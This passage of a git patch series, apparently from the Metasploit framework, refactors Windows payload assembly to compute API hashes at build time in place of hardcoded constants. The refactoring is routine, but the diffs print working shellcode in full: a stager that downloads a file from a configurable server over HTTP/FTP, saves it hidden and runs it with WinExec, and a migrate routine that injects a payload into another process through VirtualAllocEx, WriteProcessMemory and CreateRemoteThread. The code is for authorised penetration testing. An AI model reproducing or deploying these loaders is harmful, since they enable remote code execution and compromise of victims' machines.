(dwFlags) ); -set_security_options: - push 0x00003380 - mov eax, esp - push 4 ; sizeof(dwFlags) - push eax ; &dwFlags - push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) - push esi ; hRequest - push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) - call ebp - -httpsendrequest: - xor edi, edi - push edi ; optional length - push edi ; optional - push edi ; dwHeadersLength - push edi ; headers - push esi ; hHttpRequest - push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) - call ebp - test eax,eax - jnz create_file - -try_it_again: - dec ebx - jz thats_all_folks ; failure -> exit - jmp.i8 set_security_options - -dbl_get_server_host: - jmp get_server_host - -get_server_uri: - call httpopenrequest - -server_uri: - db "#{server_uri}", 0x00 - -create_file: - jmp.i8 get_filename - -get_filename_return: - xor eax,eax ; zero eax - pop edi ; ptr to filename - push eax ; hTemplateFile - push 2 ; dwFlagsAndAttributes (Hidden) - push 2 ; dwCreationDisposition (CREATE_ALWAYS) - push eax ; lpSecurityAttributes - push 2 ; dwShareMode - push 2 ; dwDesiredAccess - push edi ; lpFileName - push 0x4FDAF6DA ; kernel32.dll!CreateFileA - call ebp - -download_prep: - xchg eax, ebx ; place the file handle in ebx - xor eax,eax ; zero eax - mov ax,0x304 ; we'll download 0x300 bytes at a time - sub esp,eax ; reserve space on stack - -download_more: - push esp ; &bytesRead - lea ecx,[esp+0x8] ; target buffer - xor eax,eax - mov ah,0x03 ; eax => 300 - push eax ; read length - push ecx ; target buffer on stack - push esi ; hRequest - push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) - call ebp - - test eax,eax ; download failed? (optional?) - jz thats_all_folks ; failure -> exit - - pop eax ; how many bytes did we retrieve ? - - test eax,eax ; optional? - je close_and_run ; continue until it returns 0 - -write_to_file: - push 0 ; lpOverLapped - push esp ; lpNumberOfBytesWritten - push eax ; nNumberOfBytesToWrite - lea eax,[esp+0xc] ; get pointer to buffer - push eax ; lpBuffer - push ebx ; hFile - push 0x5BAE572D ; kernel32.dll!WriteFile - call ebp - sub esp,4 ; set stack back to where it was - jmp.i8 download_more - -close_and_run: - push ebx - push 0x528796C6 ; kernel32.dll!CloseHandle - call ebp - -execute_file: - push 0 ; don't show - push edi ; lpCmdLine - push 0x876F8B31 ; kernel32.dll!WinExec - call ebp - -thats_all_folks: - #{exitasm} - -get_filename: - call get_filename_return - db "#{filename}",0x00 - -get_server_host: - call internetconnect - -server_host: - db "#{server_host}", 0x00 -end: -EOS + payload_data = %Q^ + cld + call start + #{asm_block_api} + start: + pop ebp ; get ptr to block_api routine + ; based on HDM's block_reverse_https.asm + load_wininet: + push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. + push 0x696e6977 ; ... + mov esi, esp ; Save a pointer to wininet + push esp ; Push a pointer to the "wininet" string on the stack. + push #{Rex::Text.hash('kernel32.dll', 'LoadLibraryA')} ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "wininet" ) + + internetopen: + xor edi,edi + push edi ; DWORD dwFlags + push edi ; LPCTSTR lpszProxyBypass + push edi ; LPCTSTR lpszProxyName + push edi ; DWORD dwAccessType (PRECONFIG = 0) + push esi ; LPCTSTR lpszAgent ("wininet\x00") + push #{Rex::Text.hash('wininet.dll', 'InternetOpenA')} ; hash( "wininet.dll", "InternetOpenA" ) + call ebp + + jmp.i8 dbl_get_server_host + + internetconnect: + pop ebx ; Save the hostname pointer + xor ecx, ecx + push ecx ; DWORD_PTR dwContext (NULL) + push ecx ; dwFlags + push #{protoflags[proto]} ; DWORD dwService (INTERNET_SERVICE_HTTP or INTERNET_SERVICE_FTP) + push ecx ; password + push ecx ; username + push #{port_nr} ; PORT + push ebx ; HOSTNAME + push eax ; HINTERNET hInternet + push #{Rex::Text.hash('wininet.dll', 'InternetConnectA')} ; hash( "wininet.dll", "InternetConnectA" ) + call ebp + + jmp.i8 get_server_uri + + httpopenrequest: + pop ecx + xor edx, edx ; NULL + push edx ; dwContext (NULL) + #{dwflags_asm} ; dwFlags + push edx ; accept types + push edx ; referrer + push edx ; version + push ecx ; url + push edx ; method + push eax ; hConnection + push #{Rex::Text.hash('wininet.dll', 'HttpOpenRequestA')} ; hash( "wininet.dll", "HttpOpenRequestA" ) + call ebp + mov esi, eax ; hHttpRequest + + set_retry: + push 0x10 + pop ebx + + ; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); + set_security_options: + push 0x00003380 + mov eax, esp + push 4 ; sizeof(dwFlags) + push eax ; &dwFlags + push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) + push esi ; hRequest + push #{Rex::Text.hash('wininet.dll', 'InternetSetOptionA')} ; hash( "wininet.dll", "InternetSetOptionA" ) + call ebp + + httpsendrequest: + xor edi, edi + push edi ; optional length + push edi ; optional + push edi ; dwHeadersLength + push edi ; headers + push esi ; hHttpRequest + push #{Rex::Text.hash('wininet.dll', 'HttpSendRequestA')} ; hash( "wininet.dll", "HttpSendRequestA" ) + call ebp + test eax,eax + jnz create_file + + try_it_again: + dec ebx + jz thats_all_folks ; failure -> exit + jmp.i8 set_security_options + + dbl_get_server_host: + jmp get_server_host + + get_server_uri: + call httpopenrequest + + server_uri: + db "#{server_uri}", 0x00 + + create_file: + jmp.i8 get_filename + + get_filename_return: + xor eax,eax ; zero eax + pop edi ; ptr to filename + push eax ; hTemplateFile + push 2 ; dwFlagsAndAttributes (Hidden) + push 2 ; dwCreationDisposition (CREATE_ALWAYS) + push eax ; lpSecurityAttributes + push 2 ; dwShareMode + push 2 ; dwDesiredAccess + push edi ; lpFileName + push #{Rex::Text.hash('kernel32.dll', 'CreateFileA')} ; kernel32.dll!CreateFileA + call ebp + + download_prep: + xchg eax, ebx ; place the file handle in ebx + xor eax,eax ; zero eax + mov ax,0x304 ; we'll download 0x300 bytes at a time + sub esp,eax ; reserve space on stack + + download_more: + push esp ; &bytesRead + lea ecx,[esp+0x8] ; target buffer + xor eax,eax + mov ah,0x03 ; eax => 300 + push eax ; read length + push ecx ; target buffer on stack + push esi ; hRequest + push #{Rex::Text.hash('wininet.dll', 'InternetReadFile')} ; hash( "wininet.dll", "InternetReadFile" ) + call ebp + + test eax,eax ; download failed? (optional?) + jz thats_all_folks ; failure -> exit + + pop eax ; how many bytes did we retrieve ? + + test eax,eax ; optional? + je close_and_run ; continue until it returns 0 + + write_to_file: + push 0 ; lpOverLapped + push esp ; lpNumberOfBytesWritten + push eax ; nNumberOfBytesToWrite + lea eax,[esp+0xc] ; get pointer to buffer + push eax ; lpBuffer + push ebx ; hFile + push #{Rex::Text.hash('kernel32.dll', 'WriteFile')} ; kernel32.dll!WriteFile + call ebp + sub esp,4 ; set stack back to where it was + jmp.i8 download_more + + close_and_run: + push ebx + push #{Rex::Text.hash('kernel32.dll', 'CloseHandle')} ; kernel32.dll!CloseHandle + call ebp + + execute_file: + push 0 ; don't show + push edi ; lpCmdLine + push #{Rex::Text.hash('kernel32.dll', 'WinExec')} ; kernel32.dll!WinExec + call ebp + + thats_all_folks: + #{exitasm} + + get_filename: + call get_filename_return + db "#{filename}",0x00 + + get_server_host: + call internetconnect + + server_host: + db "#{server_host}", 0x00 + end: +^ self.assembly = payload_data super end From 37bb14ba9c5d06589e6c5a98949f258c0a284a56 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Fri, 22 Nov 2024 06:39:33 -0500 Subject: [PATCH 03/13] fix(payloads): removing hardcoded block-api hashes --- lib/msf/util/exe.rb | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index f0ea9e4c8a83..5ee1d6ace4ba 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1836,15 +1836,15 @@ def self.win32_rwx_exec(code) ; Note: Execution is not expected to (successfully) continue past this block exitfunk: - mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user... - push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) + mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} ; The EXITFUNK as specified by user... + push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} ; hash( "kernel32.dll", "GetVersion" ) mov eax, ebp call eax ; GetVersion(); (AL will = major version and AH will = minor version) cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 jl goodbye ; Then just call the exit function... cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... jne goodbye ; - mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread + mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread goodbye: ; We now perform the actual call to the exit function push byte 0 ; push the exit function parameter push ebx ; push the hash of the exit function @@ -1867,7 +1867,7 @@ def self.win32_rwx_exec(code) push 0x1000 ; MEM_COMMIT push esi ; Push the length value of the wrapped code block push byte 0 ; NULL as we dont care where the allocation is. - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" ) call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); mov ebx, eax ; Store allocated address in ebx @@ -1946,14 +1946,14 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start') ; Note: Execution is not expected to (successfully) continue past this block exitfunk: - mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user... - push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) + mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} ; The EXITFUNK as specified by user... + push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} ; hash( "kernel32.dll", "GetVersion" ) call ebp ; GetVersion(); (AL will = major version and AH will = minor version) cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 jl goodbye ; Then just call the exit function... cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... jne goodbye ; - mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread + mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread goodbye: ; We now perform the actual call to the exit function push byte 0 ; push the exit function parameter push ebx ; push the hash of the exit function @@ -1977,7 +1977,7 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start') push 0x1000 ; MEM_COMMIT push esi ; Push the length value of the wrapped code block push byte 0 ; NULL as we dont care where the allocation is. - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" ) call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); mov ebx, eax ; Store allocated address in ebx @@ -2002,7 +2002,7 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start') push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload) push eax ; SIZE_T dwStackSize (0 for default) push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL) - push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" ) + push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateThread')} ; hash( "kernel32.dll", "CreateThread" ) call ebp ; Spawn payload thread pop eax ; Skip From 55515441d22beae7cbafb5628d6a7659386b7d46 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Mon, 25 Nov 2024 08:19:36 -0500 Subject: [PATCH 04/13] fix(payloads): update cachedsize reverse_hop_http --- modules/payloads/stagers/windows/reverse_hop_http.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/stagers/windows/reverse_hop_http.rb b/modules/payloads/stagers/windows/reverse_hop_http.rb index 70ce8a5584bc..8819a123d176 100644 --- a/modules/payloads/stagers/windows/reverse_hop_http.rb +++ b/modules/payloads/stagers/windows/reverse_hop_http.rb @@ -7,7 +7,7 @@ module MetasploitModule - CachedSize = 353 + CachedSize = 362 include Msf::Payload::Stager include Msf::Payload::Windows From 00707a8a116913ccc18841c762c7b74ff99005ad Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 26 Nov 2024 11:30:49 -0500 Subject: [PATCH 05/13] fix(payloads): removing hardcoded block-api asm and hashes from PrependMigrate mixin --- .../core/payload/windows/prepend_migrate.rb | 252 ++++-------------- 1 file changed, 56 insertions(+), 196 deletions(-) diff --git a/lib/msf/core/payload/windows/prepend_migrate.rb b/lib/msf/core/payload/windows/prepend_migrate.rb index eec8b65a57ef..0c00d6c55426 100644 --- a/lib/msf/core/payload/windows/prepend_migrate.rb +++ b/lib/msf/core/payload/windows/prepend_migrate.rb @@ -63,105 +63,35 @@ def prepend_migrate(buf) block_api_start = <<-EOS call start EOS - block_api_asm = <<-EOS - api_call: - pushad ; We preserve all the registers for the caller, bar EAX and ECX. - mov ebp, esp ; Create a new stack frame - xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found) - mov edx, [fs:eax+48] ; Get a pointer to the PEB - mov edx, [edx+12] ; Get PEB->Ldr - mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list - next_mod: ; - mov esi, [edx+40] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+38] ; Set ECX to the length we want to check - xor edi, edi ; Clear EDI which will store the hash of the module name - loop_modname: ; - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase - not_lowercase: ; - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - loop loop_modname ; Loop until we have read enough - - ; We now have the module hash computed - push edx ; Save the current position in the module list for later - push edi ; Save the current module hash for later - ; Proceed to iterate the export address table - mov edx, [edx+16] ; Get this modules base address - mov ecx, [edx+60] ; Get PE header - - ; use ecx as our EAT pointer here so we can take advantage of jecxz. - mov ecx, [ecx+edx+120] ; Get the EAT from the PE header - jecxz get_next_mod1 ; If no EAT present, process the next module - add ecx, edx ; Add the modules base address - push ecx ; Save the current modules EAT - mov ebx, [ecx+32] ; Get the rva of the function names - add ebx, edx ; Add the modules base address - mov ecx, [ecx+24] ; Get the number of function names - ; now ecx returns to its regularly scheduled counter duties - - ; Computing the module hash + function hash - get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec ecx ; Decrement the function name counter - mov esi, [ebx+ecx*4] ; Get rva of next module name - add esi, edx ; Add the modules base address - xor edi, edi ; Clear EDI which will store the hash of the function name - ; And compare it to the one we want - loop_funcname: ; - lodsb ; Read in the next byte of the ASCII function name - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - - ; If found, fix up stack, call the function and then value else compute the next one... - pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva - add ebx, edx ; Add the modules base address - mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva - add ebx, edx ; Add the modules base address - mov eax, [ebx+4*ecx] ; Get the desired functions RVA - add eax, edx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the desired function... - finish: - mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad - pop ebx ; Clear off the current modules hash - pop ebx ; Clear off the current position in the module list - popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered - pop ecx ; Pop off the original return address our caller will have pushed - pop edx ; Pop off the hash value our caller will have pushed - push ecx ; Push back the correct return value - jmp eax ; Jump into the required function - ; We now automagically return to the correct caller... - - get_next_mod: ; - pop edi ; Pop off the current (now the previous) modules EAT - get_next_mod1: ; - pop edi ; Pop off the current (now the previous) modules hash - pop edx ; Restore our position in the module list - mov edx, [edx] ; Get the next module - jmp.i8 next_mod ; Process this module - ;-------------------------------------------------------------------------------------- - EOS + block_api_obj = Object.new.extend(Msf::Payload::Windows::BlockApi) + block_api_asm = block_api_obj.asm_block_api # Prepare default exit block (sleep for a long long time) - exitblock = <<-EOS + exitblock = %Q^ ;sleep push -1 - push 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) + push #{Rex::Text.block_api_hash("kernel32.dll", "Sleep")} ; hash( "kernel32.dll", "Sleep" ) call ebp ; Sleep( ... ); - EOS - + ^ + # Check to see if we can find exitfunc in the payload - exitfunc_index = buf.index("\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A" + - "\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF\xD5") + exitfunc_block_asm = %Q^ + exitfunk: + mov ebx, #{Rex::Text.block_api_hash("kernel32.dll", "ExitThread")} ; The EXITFUNK as specified by user... kernel32.dll!ExitThread + push #{Rex::Text.block_api_hash("kernel32.dll", "GetVersion")} ; hash( "kernel32.dll", "GetVersion" ) + call ebp ; GetVersion(); (AL will = major version and AH will = minor version) + cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7 + jl goodbye ; Then just call the exit function... + cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... + jne goodbye ; + mov ebx, #{Rex::Text.block_api_hash("ntdll.dll", "RtlExitUserThread")} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThreadgoodbye: ; We now perform the actual call to the exit function + goodbye: + push 0x0 ; push the exit function parameter + push ebx ; push the hash of the exit function + call ebp ; call EXITFUNK( 0 ); + ^ + exitfunc_block_blob = Metasm::Shellcode.assemble(Metasm::Ia32.new, exitfunc_block_asm).encode_string + exitfunc_index = buf.index(exitfunc_block_blob) if exitfunc_index exitblock_offset = "0x%04x + payload - exitblock" % (exitfunc_index - 5) exitblock = "exitblock:\njmp $+#{exitblock_offset}" @@ -205,7 +135,7 @@ def prepend_migrate(buf) add esp,-400 ; adjust the stack to avoid corruption lea edx,[esp+0x60] push edx - push 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" ) + push #{Rex::Text.block_api_hash("kernel32.dll", "GetStartupInfoA")} ; hash( "kernel32.dll", "GetStartupInfoA" ) call ebp ; GetStartupInfoA( &si ); lea eax,[esp+0x60] ; Put startupinfo pointer back in eax @@ -228,7 +158,7 @@ def prepend_migrate(buf) push esi ; lpCommandLine push ebx ; lpApplicationName - push 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" ) + push #{Rex::Text.block_api_hash("kernel32.dll", "CreateProcessA")} ; hash( "kernel32.dll", "CreateProcessA" ) call ebp ; CreateProcessA( &si ); ; if we didn't get a new process, use this one @@ -256,7 +186,7 @@ def prepend_migrate(buf) xor ebx,ebx push ebx ; address push [edi] ; handle - push 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" ) + push #{Rex::Text.block_api_hash("kernel32.dll", "VirtualAllocEx")} ; hash( "kernel32.dll", "VirtualAllocEx" ) call ebp ; VirtualAllocEx( ...); ; eax now contains the destination @@ -268,7 +198,7 @@ def prepend_migrate(buf) begin_of_payload_return: ; lpBuffer push eax ; lpBaseAddress push [edi] ; hProcess - push 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" ) + push #{Rex::Text.block_api_hash("kernel32.dll", "WriteProcessMemory")} ; hash( "kernel32.dll", "WriteProcessMemory" ) call ebp ; WriteProcessMemory( ...) ; run the code (CreateRemoteThread()) @@ -280,7 +210,7 @@ def prepend_migrate(buf) push ebx ; stacksize push ebx ; lpThreadAttributes push [edi] - push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" ) + push #{Rex::Text.block_api_hash("kernel32.dll", "CreateRemoteThread")} ; hash( "kernel32.dll", "CreateRemoteThread" ) call ebp ; CreateRemoteThread( ...); #{exitblock} ; jmp to exitfunc or long sleep @@ -306,109 +236,39 @@ def prepend_migrate_64(buf) block_api_start = <<-EOS call start EOS - block_api_asm = <<-EOS - api_call: - push r9 ; Save the 4th parameter - push r8 ; Save the 3rd parameter - push rdx ; Save the 2nd parameter - push rcx ; Save the 1st parameter - push rsi ; Save RSI - xor rdx, rdx ; Zero rdx - mov rdx, [gs:rdx+96] ; Get a pointer to the PEB - mov rdx, [rdx+24] ; Get PEB->Ldr - mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list - next_mod: ; - mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) - movzx rcx, word [rdx+74] ; Set rcx to the length we want to check - xor r9, r9 ; Clear r9 which will store the hash of the module name - loop_modname: ; - xor rax, rax ; Clear rax - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase - not_lowercase: ; - ror r9d, 13 ; Rotate right our hash value - add r9d, eax ; Add the next byte of the name - loop loop_modname ; Loop until we have read enough - ; We now have the module hash computed - push rdx ; Save the current position in the module list for later - push r9 ; Save the current module hash for later - ; Proceed to iterate the export address table - mov rdx, [rdx+32] ; Get this modules base address - mov eax, dword [rdx+60] ; Get PE header - add rax, rdx ; Add the modules base address - mov eax, dword [rax+136] ; Get export tables RVA - test rax, rax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add rax, rdx ; Add the modules base address - push rax ; Save the current modules EAT - mov ecx, dword [rax+24] ; Get the number of function names - mov r8d, dword [rax+32] ; Get the rva of the function names - add r8, rdx ; Add the modules base address - ; Computing the module hash + function hash - get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec rcx ; Decrement the function name counter - mov esi, dword [r8+rcx*4]; Get rva of next module name - add rsi, rdx ; Add the modules base address - xor r9, r9 ; Clear r9 which will store the hash of the function name - ; And compare it to the one we want - loop_funcname: ; - xor rax, rax ; Clear rax - lodsb ; Read in the next byte of the ASCII function name - ror r9d, 13 ; Rotate right our hash value - add r9d, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add r9, [rsp+8] ; Add the current module hash to the function hash - cmp r9d, r10d ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - pop rax ; Restore the current modules EAT - mov r8d, dword [rax+36] ; Get the ordinal table rva - add r8, rdx ; Add the modules base address - mov cx, [r8+2*rcx] ; Get the desired functions ordinal - mov r8d, dword [rax+28] ; Get the function addresses table rva - add r8, rdx ; Add the modules base address - mov eax, dword [r8+4*rcx]; Get the desired functions RVA - add rax, rdx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the drsired function... - finish: - pop r8 ; Clear off the current modules hash - pop r8 ; Clear off the current position in the module list - pop rsi ; Restore RSI - pop rcx ; Restore the 1st parameter - pop rdx ; Restore the 2nd parameter - pop r8 ; Restore the 3rd parameter - pop r9 ; Restore the 4th parameter - pop r10 ; pop off the return address - sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32) - ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). - push r10 ; push back the return address - jmp rax ; Jump into the required function - ; We now automagically return to the correct caller... - get_next_mod: ; - pop rax ; Pop off the current (now the previous) modules EAT - get_next_mod1: ; - pop r9 ; Pop off the current (now the previous) modules hash - pop rdx ; Restore our position in the module list - mov rdx, [rdx] ; Get the next module - jmp next_mod ; Process this module - EOS + block_api_obj = Object.new.extend(Msf::Payload::Windows::BlockApi_x64) + block_api_asm = block_api_obj.asm_block_api # Prepare default exit block (sleep for a long long time) exitblock = <<-EOS ;sleep xor rcx,rcx dec rcx ; rcx = -1 - mov r10d, 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) + mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "Sleep")} ; hash( "kernel32.dll", "Sleep" ) call rbp ; Sleep( ... ); EOS + exitfunc_block_asm = %Q^ + exitfunk: + mov ebx, #{Rex::Text.block_api_hash("kernel32.dll", "ExitThread")} ; The EXITFUNK as specified by user... + mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "GetVersion")} ; hash( "kernel32.dll", "GetVersion" ) + call rbp ; GetVersion(); (AL will = major version and AH will = minor version) + add rsp, 40 ; cleanup the default param space on stack + cmp al, 0x6 ; If we are not running on Windows Vista, 2008 or 7 + jl goodbye ; Then just call the exit function... + cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... + jne goodbye ; + mov ebx, #{Rex::Text.block_api_hash("ntdll.dll", "RtlExitUserThread")} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread + goodbye: ; We now perform the actual call to the exit function + push 0x0 ; + pop rcx ; set the exit function parameter + mov r10d, ebx ; place the correct EXITFUNK into r10d + call rbp ; call EXITFUNK( 0 ); + ^ # Check to see if we can find x64 exitfunc in the payload - exitfunc_index = buf.index("\x41\xBA\xA6\x95\xBD\x9D\xFF\xD5\x48\x83\xC4\x28\x3C\x06" + - "\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5") + + exitfunc_block_blob = Metasm::Shellcode.assemble(Metasm::X64.new, exitfunc_block_asm).encode_string + exitfunc_index = buf.index(exitfunc_block_blob) if exitfunc_index exitblock_offset = "0x%04x + payload - exitblock" % (exitfunc_index - 5) exitblock = "exitblock:\njmp $+#{exitblock_offset}" @@ -451,7 +311,7 @@ def prepend_migrate_64(buf) ; get our own startupinfo at esp+0x60 add rsp,-400 ; adjust the stack to avoid corruption lea rcx,[rsp+0x30] - mov r10d, 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" ) + mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "GetStartupInfoA")} ; hash( "kernel32.dll", "GetStartupInfoA" ) call rbp ; GetStartupInfoA( &si ); jmp getcommand @@ -473,7 +333,7 @@ def prepend_migrate_64(buf) mov r8, rcx ; lpProcessAttributes mov rdx, rsi ; lpCommandLine ; rcx is already zero ; lpApplicationName - mov r10d, 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" ) + mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "CreateProcessA")} ; hash( "kernel32.dll", "CreateProcessA" ) call rbp ; CreateProcessA( &si ); ; if we didn't get a new process, use this one @@ -503,7 +363,7 @@ def prepend_migrate_64(buf) migrate_asm << <<-EOS xor rdx,rdx ; address mov rcx, [rdi] ; handle - mov r10d, 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" ) + mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "VirtualAllocEx")} ; hash( "kernel32.dll", "VirtualAllocEx" ) call rbp ; VirtualAllocEx( ...); ; eax now contains the destination - save in ebx @@ -517,7 +377,7 @@ def prepend_migrate_64(buf) pop r8 ; lpBuffer mov rdx, rax ; lpBaseAddress mov rcx, [rdi] ; hProcess - mov r10d, 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" ) + mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "WriteProcessMemory")} ; hash( "kernel32.dll", "WriteProcessMemory" ) call rbp ; WriteProcessMemory( ...); ; run the code (CreateRemoteThread()) @@ -529,7 +389,7 @@ def prepend_migrate_64(buf) mov r8, rcx ; stacksize ;rdx already equals 0 ; lpThreadAttributes mov rcx, [rdi] - mov r10d, 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" ) + mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "CreateRemoteThread")} ; hash( "kernel32.dll", "CreateRemoteThread" ) call rbp ; CreateRemoteThread( ...); #{exitblock} ; jmp to exitfunc or long sleep From 9bfb67444d6f8b3ba677412e89d15b21b9fa735c Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 26 Nov 2024 11:44:19 -0500 Subject: [PATCH 06/13] fix(payloads): fixing typo on block-api hashing function --- .../singles/windows/dns_txt_query_exec.rb | 6 ++--- .../payloads/singles/windows/download_exec.rb | 22 +++++++++---------- 2 files changed, 14 insertions(+), 14 deletions(-) diff --git a/modules/payloads/singles/windows/dns_txt_query_exec.rb b/modules/payloads/singles/windows/dns_txt_query_exec.rb index a70e3fb8ae5a..b2a414363a37 100644 --- a/modules/payloads/singles/windows/dns_txt_query_exec.rb +++ b/modules/payloads/singles/windows/dns_txt_query_exec.rb @@ -89,7 +89,7 @@ def generate(_opts = {}) push eax ; flAllocationType MEM_COMMIT (0x1000) push eax ; dwSize (0x1000) push 0x0 ; lpAddress - push #{Rex::Text.hash("kernel32.dll", "VirtualAlloc")} ; kernel32.dll!VirtualAlloc + push #{Rex::Text.block_api_hash("kernel32.dll", "VirtualAlloc")} ; kernel32.dll!VirtualAlloc call ebp push eax ; save pointer on stack, will be used in memcpy mov #{bufferreg}, eax ; save pointer, to jump to at the end @@ -103,7 +103,7 @@ def generate(_opts = {}) push eax ; Push 'dnsapi' to the stack push 0x61736e64 ; ... push esp ; Push a pointer to the 'dnsapi' string on the stack. - push #{Rex::Text.hash("kernel32.dll", "LoadLibraryA")} ; kernel32.dll!LoadLibraryA + push 